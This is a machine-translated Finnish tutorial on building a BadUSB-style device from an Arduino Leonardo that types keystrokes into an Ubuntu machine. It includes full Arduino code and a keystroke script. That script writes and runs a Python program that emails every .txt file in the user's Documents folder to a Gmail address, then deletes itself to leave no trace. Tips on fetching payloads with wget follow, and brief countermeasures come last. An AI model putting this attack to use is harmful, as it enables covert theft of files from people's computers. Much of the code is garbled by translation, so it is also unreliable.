Sisällysluettelo:

Arduino Keyboard Exploit Demo (HID) ja ehkäisy: 4 vaihetta (kuvilla)
Arduino Keyboard Exploit Demo (HID) ja ehkäisy: 4 vaihetta (kuvilla)

Video: Arduino Keyboard Exploit Demo (HID) ja ehkäisy: 4 vaihetta (kuvilla)

Video: Arduino Keyboard Exploit Demo (HID) ja ehkäisy: 4 vaihetta (kuvilla)
Video: Веб-программирование – информатика для руководителей бизнеса 2016 2024, Marraskuu
Anonim
Image
Image
Laitteen rakentaminen
Laitteen rakentaminen

Tässä projektissa aiomme käyttää arduino leonardoa simuloimaan mahdollista USB -hyökkäystä HID: n (humain interface device) avulla.

Olen luonut tämän opetusohjelman auttaakseni hakkereita, vaan näyttääkseni sinulle todellisia vaaroja ja kuinka suojata itsesi näiltä vaaroilta. Tämä laite ei ole laite, jota voidaan käyttää millä tahansa hakkereiden alustalla, vaan se on enemmän todiste konseptista yksityiskohtaisesti.

Aiomme oppia seuraavaa:

- kuinka käyttää arduino Leonardo emuloida näppäimistö

- kuinka lukea tietoja SD -kortilta

- kuinka luodaan python -skripti, joka skannaa tiedostot ja lähettää heille sähköpostia

- kuinka suojautua USB -hakkerointilaitteilta

Vaihe 1: Materiaalit

Osat:

1. Arduino Leonardo

2. mikro -USB -kortinlukija

3. muutaman gigatavun SD -kortti

4. painike, kuten tämä (VCC, maa ja signaali)

5. naaras-uros- ja naaras-naaras-hyppyjohdot

6. mikro -USB -USB -kaapeli

Vaihe 2: Laitteen rakentaminen

Laitteen rakentaminen
Laitteen rakentaminen

Ennen rakennusohjeita tarkastelemme toimintaperiaatetta:

Arduino Leonardo voi käyttäytyä kuin ihmisen käyttöliittymä (HID) ja siksi voi jäljitellä hiirtä ja näppäimistöä. Käytämme tätä ominaisuutta avataksesi päätelaitteen (UBUNTU -linuxissa) ja kirjoittaa pienen komentosarjan, joka avaa /Asiakirjat -kansion käyttäjän kotikansion sisällä kopioi.txt -tiedostot sinne ja lähettää ne sähköpostitse. Jos haluat lisätietoja, tarkista seuraava vaihe.

Koska se on demolaite, asiat ovat todella yksinkertaisia, emme aio juottaa mitään.

Rakennusohjeet

Ennen kuin aloitamme, tarkista liitetyt tiedostot, olen liittänyt fritzing -kaaviot ja kaikki tarvittavat tiedostot

1. Kokoa osat:

* Liitä mikro -USB -kaapeli arduinoon

* kytke avainkytkin arduinoon (maa-, vcc- ja ulostulomoduuli D8: een)

* Liitä kortinlukija arduinoon (ICSP -otsikon avulla). Arduino Leonardo ei liitä ICSP -otsikkoa digitaalisiin nastoihin, joten sinun on liitettävä kortinlukija ICSP -otsikkoon. Löydät piirustuksia ICSP: stä täältä: https://learn.sparkfun.com/tutorials/installing-an…. Liitä SS -nasta digitaaliseen nastaan 10

2. hanki arduino -koodi, voit kloonata arduino -arkistoni githubissa: https://github.com/danionescu0/arduino ja siirry projekteihin/keyboard_exploit tai hanki se alta:

#include "Keyboard.h"

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Nukkuminen::"; String commandStartingPoint = "Komento::"; int delayBetweenCommands = 10; const int -painikePin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Sarja.alku (9600); Näppäimistö.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Kortti epäonnistui tai sitä ei ole!"); palata; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Ladattu!"); viive (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {Tiedostotiedosto = SD.open (tiedostonimiOnCard); if (! dataFile) {Serial.println ("Määritettyä tiedostonimeä ei ole SD -kortilla, tarkista filenameOnCard!"); } Merkkijono; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Sarja.println (rivi); sendToKeyboard (rivi); } dataFile.close (); } void sendToKeyboard (merkkijono) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); palata; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (line); Keyboard.println (rivi); paina Enter(); palata; } Serial.println ("Komento:"); int charPosition = commandStartingPoint.length (); int linePituus = viiva.pituus (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); Merkkikomento = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (komento! = "") {Serial.print ("Komento löytyi:"); Serial.println (komento); Keyboard.press (getCommandCode (komento)); delay (delayBetweenCommands); }} Keyboard.releaseAll (); delay (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); viive (sleepAmount); } char getCommandCode (merkkijono) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char -koodi = textCharacters [0]; koodi = (teksti == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: koodi; koodi = (teksti == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: koodi; koodi = (teksti == "KEY_LEFT_ALT")? KEY_LEFT_ALT: koodi; koodi = (teksti == "KEY_UP_ARROW")? KEY_UP_ARROW: koodi; koodi = (teksti == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: koodi; koodi = (teksti == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: koodi; koodi = (teksti == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: koodi; koodi = (teksti == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: koodi; koodi = (teksti == "KEY_BACKSPACE")? KEY_BACKSPACE: koodi; koodi = (teksti == "KEY_TAB")? KEY_TAB: koodi; koodi = (teksti == "KEY_RETURN")? KEY_RETURN: koodi; koodi = (teksti == "KEY_ESC")? KEY_ESC: koodi; koodi = (teksti == "KEY_INSERT")? KEY_INSERT: koodi; koodi = (teksti == "KEY_DELETE")? KEY_DELETE: koodi; koodi = (teksti == "KEY_PAGE_UP")? KEY_PAGE_UP: koodi; koodi = (teksti == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: koodi; koodi = (teksti == "KEY_HOME")? KEY_HOME: koodi; koodi = (teksti == "KEY_END")? KEY_END: koodi; koodi = (teksti == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: koodi; koodi = (teksti == "KEY_F1")? KEY_F1: koodi; koodi = (teksti == "KEY_F2")? KEY_F2: koodi; koodi = (teksti == "KEY_F3")? KEY_F3: koodi; koodi = (teksti == "KEY_F4")? KEY_F4: koodi; koodi = (teksti == "KEY_F5")? KEY_F5: koodi; koodi = (teksti == "KEY_F6")? KEY_F6: koodi; koodi = (teksti == "KEY_F7")? KEY_F7: koodi; koodi = (teksti == "KEY_F8")? KEY_F8: koodi; koodi = (teksti == "KEY_F9")? KEY_F9: koodi; koodi = (teksti == "KEY_F10")? KEY_F10: koodi; koodi = (teksti == "KEY_F11")? KEY_F1: koodi; koodi = (teksti == "KEY_F12")? KEY_F2: koodi;

palautuskoodi;

}

3. Lähetä koodi arduinoon, muista valita 9600 baudinopeus, sarjaportti ja arduino leonardo

4. Alusta SD -kortti käyttämällä FAT16- tai FAT32 -tiedostoja

5. Jos olet kloonannut github -repon ylhäältä, kopioi hack.txt -tiedosto kortille, jos tiedosto ei ole alla:

Komento:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT tuoda smtplib tuonti globaali, os osppath tuoda laajennin sähköpostista. MIMEMultipart tuoda MIMEMultipart sähköpostista. MIMEBase tuoda MIMEBase sähköpostista. MIMEText tuo MIMEText sähköpostista. Hyödyntää tuoda COMMASPACE, formatdate from email import Encoders

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'vastaanottaja_osoite' scan_documents_location = 'Asiakirjat'

subject = body = 'Tiedostot hakkeroidulta tietokoneelta'

header = 'Vastaanottaja: {0} nLähettäjä: {1} nAsia: {2} n'.format (osoitteeseen_osoite, smtp_user, aihe)

def sendMail (kohteeseen, aihe, teksti, tiedostot = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = aihe msg.attach (MIMEText (teksti)) tiedostoissa oleville tiedostoille: part = MIMEBase ('sovellus', "oktettivirta") part.set_payload (auki (tiedosto, "rb"). Lue ()) Encoders.encode_base64 (osa). add_header ('Content-Disposition', 'liite; tiedostonimi = " % s"' % os.path.basename (tiedosto)) msg.attach (osa)

palvelin = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, kohteeseen, msg.as_string ()) server.quit ()

sendMail ([to_address], subject, body, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))

Lepotila:: 50 komentoa:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4

6. Muokkaa seuraavia rivejä:

smtp_user = 'lähettäjän_sähköpostiosoite'

smtp_pass = 'sender_password' to_address = 'vastaanottaja_osoite'

Ja korvaa sähköpostiosoitteillasi

7. Poista kortti ja aseta se arduino -kortinlukijaan

Vaihe 3: Kuinka se toimii yksityiskohdissa

Hyökkäys toimii:

1. Kun painiketta painetaan, Leonardo lukee SD -kortin SD -kortinlukijan avulla. Kortilla on erityinen tiedosto, joka sisältää näppäimet ja näppäinyhdistelmät. Tiedoston nimi on "hack.txt".

Tiedosto voi sisältää raakatekstiä ja se välitetään näppäimistölle sellaisenaan.

Se voi myös sisältää erikoiskomentoja, kuten "Sleep::" ja "Command::".

Rivi kuten:

Lepotila:: 200 tarkoittaa 200 ms lepotilaa

Rivi kuten:

Komento:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t tarkoittaa vasenta ctrl painettuna, vasen alt painettuna, t painettuna ja kaikki vapautettu

Voit tarkistaa kaikki erikoisavaimet täältä:

2. Leonardo lukee rivi riviltä ja tulkitsee komennot ja jäljittelee näppäimistön näppäimiä. Tiedosto "hack.txt" sisältää näppäinyhdistelmän, joka toimii seuraavasti (UBUNTU Linux):

a. avaa päätelaitteen (CTRL + ALT + T)

b. avaa python -tiedoston luomista varten vi: llä (kirjoittaa "vi hack.py"

c. kirjoittaa sisälle python -komentosarjan, joka kerää kaikki asiakirjojen kotikansion sisältämät tekstitiedostot ja lähettää ne tiettyyn Gmail -osoitteeseen

d. suorittaa tiedoston taustalla ("nohup python hack.py &")

e. poistaa tiedoston (rm -rf hack.py)

f. sulkee terminaalin (ALT + F4)

Tämä kaikki tapahtuu muutamassa sekunnissa eikä jätä jälkiä.

Parannuksia ja vianetsintää

* Olet ehkä huomannut, että kun avaan päätelaitteen, kirjoitan python -tiedostoa. Parempi tapa siihen on isännöidä se jonnekin ja ladata se komennolla "wget some_url" ja nimetä se uudelleen hack.py

* Lisäksi voimme ladata tai suorittaa valmiita hyökkäyksiä kohdennetulle käyttöjärjestelmälle

* wifi voidaan lisätä moduuliin, ja hakkerointi voidaan ladata WIFI: n kautta

* Voit käyttää arduino micro (joka on paljon pienempi) ja upottaa siihen hyväksikäyttökoodin (pienentääksesi sitä)

Rajoitukset

1. Koska simuloidulla laitteella (näppäimistö ja hiiri) ei ole palautetta, emme tiedä, mitä tapahtuu komennon antamisen jälkeen, mikä tarkoittaa, että meidän on käytettävä viiveitä. Esimerkiksi annan komennon terminaalin avaamiseksi, mutta en tiedä milloin se todella avataan, joten minun on määritettävä mielivaltainen viive varmistaakseni, että sen jälkeen kirjoitetut merkit eivät katoa.

2. Saatamme kohdata käyttöoikeusongelmia, kuten pääsyn USB -porttiin tai luvan asentaa jotain

3. Kirjoitusnopeus ei ole kovin hyvä Leonardossa

4. Toimii vain kohdennetussa käyttöjärjestelmässä (meidän tapauksessamme UBUNTU linux)

Seuraavassa vaiheessa yritetään löytää tapoja hyödyntää näitä rajoituksia estääksemme tietokoneemme hakkeroinnin

Vaihe 4: Vastatoimenpiteet

1. USB -porttien poistaminen käytöstä

-Windowsissa voit tarkistaa tämän opetusohjelman:

2. USB -laitteiden sallittujen luettelo:

- Windows:

2. Lukitse tietokone, kun et ole poissa

3. Älä kirjaudu pääkäyttäjänä (vaadi salasanoja minkään asennukseen)

4. Pidä itsesi ajan tasalla (automaattiset päivitykset käytössä)

Suositeltava: